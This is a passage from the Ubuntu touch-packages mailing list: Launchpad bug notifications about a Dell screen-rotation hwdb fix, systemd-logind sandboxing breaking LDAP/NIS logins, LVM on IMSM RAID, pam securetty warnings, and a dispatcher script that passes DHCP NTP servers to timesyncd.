   * On Dell laptops with model SKU 0A3E or 0E0E, install this package and 
kernel 5.13, or kernel with this patch backported:
  
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e26f023e01ef26b4138bc1099af309bdc4523d23
   * Rotate the laptop and the display should not be rotated.

  [Where problems could occur]

   * This is to add parameters for certain models in hwdb, and does not
  affect any other part of systemd.

   * This fix would only take effect with kernel 5.13 or the above patch
  backported.

  [scope]

  this is needed for all releases

  this is being fixed upstream by
  https://github.com/systemd/systemd/pull/20314

  [Other info]

   * The patch mentioned above is going to have a separated SRU for
  linux-oem-5.10 and linux-hwe-5.11 (LP: #1938143)

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1938259/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943561] Re: Add ACCEL_LOCATION=base property for 6 Dell clamshell models

[Yao Wei]

** Changed in: systemd (Ubuntu)
   Status: New => In Progress

** Changed in: oem-priority
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1943561

Title:
  Add ACCEL_LOCATION=base property for 6 Dell clamshell models

Status in OEM Priority Project:
  In Progress
Status in systemd package in Ubuntu:
  In Progress

Bug description:
  This hwdb update is to avoid unwanted screen rotation when tilting the
  laptop.

  This is the update to the previously rolled back SRU LP: #1938259

  [Impact]

   * This fixes unwanted rotations on certain Dell clamshell laptop
  models with accelerometer.

  [Test Plan]

   * On Dell laptops with model SKU 0A36, 0A3E, 0B09, 0B0B, 0B0D, 0B11, install 
this package and ensure the kernel is updated to the latest.
   * Screen should be correct side up in login screen and desktop.
   * Tilt the laptop and the screen should not be rotated.

  [Where problems could occur]

   * This is to add parameters for certain models in hwdb, and does not
  affect any other part of systemd.

   * Only models with the same Dell SKU would be affected.

  [scope]

  this is needed for all releases

  this is being added to upstream by
  https://github.com/systemd/systemd/pull/20314 and
  https://github.com/systemd/systemd/pull/20661

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1943561/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1934393] Re: systemd-logind network access is blocked, and breaks remote authentication configurations

[Michael Biebl]

I have to add, that I don't have such a NIS or LDAP setup to test this
myself.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1934393

Title:
  systemd-logind network access is blocked, and breaks remote
  authentication configurations

Status in systemd:
  Fix Released
Status in nis package in Ubuntu:
  Confirmed
Status in openldap package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Won't Fix
Status in nis package in Debian:
  Fix Released

Bug description:
  [impact]

  starting in focal, systemd-logind runs sandboxed without any network
  access, which breaks any configuration that uses remote servers for
  user data, e.g. ldap, nis, etc

  A more full discussion is available in the upstream bug report as well
  as the debian bug report, see other info section below

  [test case]

  many possible ways to reproduce this; there are reproducers in some of
  the bugs reported before that are caused by this, e.g. bug 1915502 or
  bug 1916235

  [regression potential]

  failure to authenticate when using remote user data, incorrect
  authentication, security issues due to un-sandboxing of systemd-logind

  [scope]

  this is needed in f and later

  before focal, systemd-logind was not sandboxed so this did not apply

  [other info]

  this isn't actually a bug in systemd, this is a by-design security
  feature, and the intended upstream design is for systemd-logind to
  talk to systemd-userdb, so that systemd-logind can remain network-
  sandboxed while systemd-userdb performs any needed network access for
  user/auth data. However, Debian and Ubuntu don't enable/provide
  systemd-userdb, so that design does not work for Debian/Ubuntu.

  this also can cause systemd-udevd failures in some cases as well,
  apparently (based on upstream and debian discussion comments)

  For reference, upstream discussion around the systemd-logind sandboxing 
specifically:
  https://github.com/systemd/systemd/issues/7074
  upstream updated doc PR explaining the upstream position:
  https://github.com/systemd/systemd/pull/7343

  Debian bug report:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878625

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1934393/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1934393] Re: systemd-logind network access is blocked, and breaks remote authentication configurations

[Michael Biebl]

@Dan: have you actually confirmed, that building and running userdbd
solves those issues with NIS and LDAP?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1934393

Title:
  systemd-logind network access is blocked, and breaks remote
  authentication configurations

Status in systemd:
  Fix Released
Status in nis package in Ubuntu:
  Confirmed
Status in openldap package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Won't Fix
Status in nis package in Debian:
  Fix Released

Bug description:
  [impact]

  starting in focal, systemd-logind runs sandboxed without any network
  access, which breaks any configuration that uses remote servers for
  user data, e.g. ldap, nis, etc

  A more full discussion is available in the upstream bug report as well
  as the debian bug report, see other info section below

  [test case]

  many possible ways to reproduce this; there are reproducers in some of
  the bugs reported before that are caused by this, e.g. bug 1915502 or
  bug 1916235

  [regression potential]

  failure to authenticate when using remote user data, incorrect
  authentication, security issues due to un-sandboxing of systemd-logind

  [scope]

  this is needed in f and later

  before focal, systemd-logind was not sandboxed so this did not apply

  [other info]

  this isn't actually a bug in systemd, this is a by-design security
  feature, and the intended upstream design is for systemd-logind to
  talk to systemd-userdb, so that systemd-logind can remain network-
  sandboxed while systemd-userdb performs any needed network access for
  user/auth data. However, Debian and Ubuntu don't enable/provide
  systemd-userdb, so that design does not work for Debian/Ubuntu.

  this also can cause systemd-udevd failures in some cases as well,
  apparently (based on upstream and debian discussion comments)

  For reference, upstream discussion around the systemd-logind sandboxing 
specifically:
  https://github.com/systemd/systemd/issues/7074
  upstream updated doc PR explaining the upstream position:
  https://github.com/systemd/systemd/pull/7343

  Debian bug report:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878625

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1934393/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1887372] Re: Cannot create lvm upon IMSM raid array

[Mateusz Grzonka]

Jeff,
we verified it is no longer an issue on Focal.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lvm2 in Ubuntu.
https://bugs.launchpad.net/bugs/1887372

Title:
  Cannot create lvm upon IMSM raid array

Status in lvm2 package in Ubuntu:
  Incomplete
Status in lvm2 source package in Focal:
  Incomplete
Status in lvm2 source package in Groovy:
  Won't Fix
Status in lvm2 source package in Hirsute:
  Incomplete

Bug description:
  The issue has been observed on 2.3.7 (Ubuntu 20.04).
  Reported to lvm team:
  https://bugzilla.redhat.com/show_bug.cgi?id=1855251

  Steps to Reproduce:
  1. Create IMSM raid array:
  #mdadm -CR imsm -e imsm -n2 /dev/nvme[01]n1
  #mdadm -CR vol -l1 -n2 /dev/nvme[01]n1 -z 5G

  2. Create lvm volume on raid:
  # pvcreate -ff -y /dev/md/vol
  # vgcreate group0 /dev/md/vol
  # lvcreate -Z y -y -l +100%FREE group0 -n lvm0

  Actual results:
  Vg creation fails.

  Expected results:
  LVM should be able to determine the best drive and ignore duplicates.

  Additional info:
  IMSM metadata is written at the end of the drive. The first drive sector 
belongs to the raid volume and other metadata saved there (like lvm) can be 
recognized directly on raid members.

  The following patches should fix the issue (not verified yet):
  
https://sourceware.org/git/?p=lvm2.git;a=commit;h=23774f997ea077f2cbe8a32bd8bccdd7f4560cca
  
https://sourceware.org/git/?p=lvm2.git;a=commit;h=00c9a788cc617e5e40746dee2e17287d61ee5c81

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1887372/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943288] Re: Soname change and transition started without a ffe

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: libffi (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1943288

Title:
  Soname change and transition started without a ffe

Status in libffi package in Ubuntu:
  Confirmed

Bug description:
  It seems the recent upload includes a soname change and is starting a
  transition, such changes at the point of the cycle would require a ffe

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1943288/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1860826] Re: pam_unix(sudo:auth): Couldn't open /etc/securetty: No such file or directory

[Steve Langasek]

** Changed in: pam (Ubuntu Groovy)
   Status: Confirmed => Won't Fix

** Changed in: pam (Ubuntu)
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1860826

Title:
  pam_unix(sudo:auth): Couldn't open /etc/securetty: No such file or
  directory

Status in pam package in Ubuntu:
  Fix Committed
Status in pam source package in Focal:
  Confirmed
Status in pam source package in Groovy:
  Won't Fix
Status in pam package in Debian:
  Fix Released

Bug description:
  Hello, after upgrading to focal I found the following in my journalctl
  output:

  Jan 24 23:07:00 millbarge sudo[32120]: pam_unix(sudo:auth): Couldn't open 
/etc/securetty: No such file or directory
  Jan 24 23:07:01 millbarge sudo[32120]: pam_unix(sudo:auth): Couldn't open 
/etc/securetty: No such file or directory

  
  The login package stopped packaging this file:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=731656
  and now forcibly removes the file:
  https://paste.ubuntu.com/p/myh9cGWrHD/

  However, the pam package's pam_unix.so module has not yet been adapted to 
ignore this file:
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=674857#25

  Thanks

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: libpam-modules 1.3.1-5ubuntu4
  ProcVersionSignature: Ubuntu 5.4.0-9.12-generic 5.4.3
  Uname: Linux 5.4.0-9-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu15
  Architecture: amd64
  Date: Fri Jan 24 23:35:33 2020
  ProcEnviron:
   TERM=rxvt-unicode-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: pam
  UpgradeStatus: Upgraded to focal on 2020-01-24 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pam/+bug/1860826/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1933828] Re: NTP servers from DHCP are not propagated to timesyncd

[Jean-Baptiste Lallement]

The server is set via a configuration file. The default config file is 
/etc/systemd/timesyncd.conf and it can be overridden by dropping files in 
/etc/systemd/timesyncd.conf.d/. 
There is a pool of free ntp servers available on https://www.ntppool.org/en/.

To test this fix you also need a DHCP server that returns NTP records.

With VMs, you can use dnsmasq to provide NTP records by changing the values in 
dnsmasq.conf
# Set the NTP time server addresses to 192.168.0.4 and 10.10.0.5
#dhcp-option=option:ntp-server,192.168.0.4,10.10.0.5

Or if you're using libvirt, edit the configuration with "virsh net-edit
default" (or the name of the network your VMs are attached to) then pass
the option directly to dnsmasq (cf
https://libvirt.org/formatnetwork.html for reference)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1933828

Title:
  NTP servers from DHCP are not propagated to timesyncd

Status in OEM Priority Project:
  New
Status in network-manager package in Ubuntu:
  New
Status in network-manager source package in Focal:
  New

Bug description:
  Network manager gets NTP servers from DHCP but do not update timesyncd to use 
it which keeps using ntp.ubuntu.com.
   
  This is a problem on private networks which do not have access to public 
internet. On this type of network the configuration of timesyncd must be 
updated manually instead of inheriting the conf from the dhcp servers.

  This can be integrated with a NM dispatcher script such as below:

  etc/NetworkManager/dispatcher.d/10-update-timesyncd for example:

  ==8<=8<=8<=8<=8<==
  #! /usr/bin/bash

  [ -n "$CONNECTION_UUID" ] || exit

  INTERFACE=$1
  ACTION=$2

  case $ACTION in
  up | dhcp4-change | dhcp6-change)
  [ -n "$DHCP4_NTP_SERVERS" ] || exit
  mkdir -p /etc/systemd/timesyncd.conf.d/
  cat< /etc/systemd/timesyncd.conf.d/$CONNECTION_UUID.conf
  [Time]
  NTP=$DHCP4_NTP_SERVERS
  RootDistanceMaxSec=15
  EOF
  systemctl restart systemd-timesyncd
 ;;
  down)
  rm -f /etc/systemd/timesyncd.conf.d/$CONNECTION_UUID.conf
  systemctl restart systemd-timesyncd
  ;;
  esac
  ==8<=8<=8<=8<=8<==

  ProblemType: Bug
  DistroRelease: Ubuntu 21.10
  Package: network-manager 1.30.0-1ubuntu3
  ProcVersionSignature: Ubuntu 5.11.0-18.19+21.10.1-generic 5.11.17
  Uname: Linux 5.11.0-18-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.11-0ubuntu67
  Architecture: amd64
  CasperMD5CheckResult: unknown
  CurrentDesktop: ubuntu:GNOME
  Date: Mon Jun 28 14:08:52 2021
  InstallationDate: Installed on 2020-05-31 (393 days ago)
  InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Alpha amd64 (20200527)
  RebootRequiredPkgs:
   linux-image-5.11.0-20-generic
   linux-base
  SourcePackage: network-manager
  UpgradeStatus: No upgrade log present (probably fresh install)
  nmcli-nm:
   RUNNING  VERSION  STATE  STARTUP  CONNECTIVITY  NETWORKING  WIFI-HW  
WIFI  WWAN-HW  WWAN
   running  1.30.0   connected  started  full  enabled enabled  
disabled  enabled  enabled

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1933828/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp